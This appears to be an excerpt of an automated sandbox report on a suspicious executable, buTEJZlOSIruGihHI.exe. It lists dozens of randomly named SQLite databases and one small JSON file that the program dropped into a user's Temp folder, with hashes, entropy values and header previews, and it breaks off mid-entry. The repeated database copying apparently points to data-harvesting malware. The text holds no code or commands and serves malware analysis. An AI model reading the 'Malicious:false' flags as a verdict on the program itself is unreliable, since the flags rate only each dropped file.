                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):126976
                                                            Entropy (8bit):0.47147045728725767
                                                            Encrypted:false
                                                            SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                            MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                            SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                            SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                            SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\O9quomUZHD

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\OJH81o1NuD

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Om8yha5wQU

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Os35VwoHoM

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\PBG0rhnqof

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\PbykYD28im

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\PlgWjjlF0r

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\PqR0W2SnTk

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\PxYmbEXI4S

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QJBob3NBS6

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QMHwS62mWy

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QMLhbqsXVe

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QPtM96Y9ZF

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QRfItzTzqI

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QTUCh6TbSM

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QX5Sd3wBYV

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QYrsPn8MKd

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\QcH5b7BJwG

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QdB4zeksvj

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\QlXNlstVna

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\RHwRz9b1AY

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\RLeRyYvSIG

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\RXIpbTZtye

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\Ri2hoTgby5

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
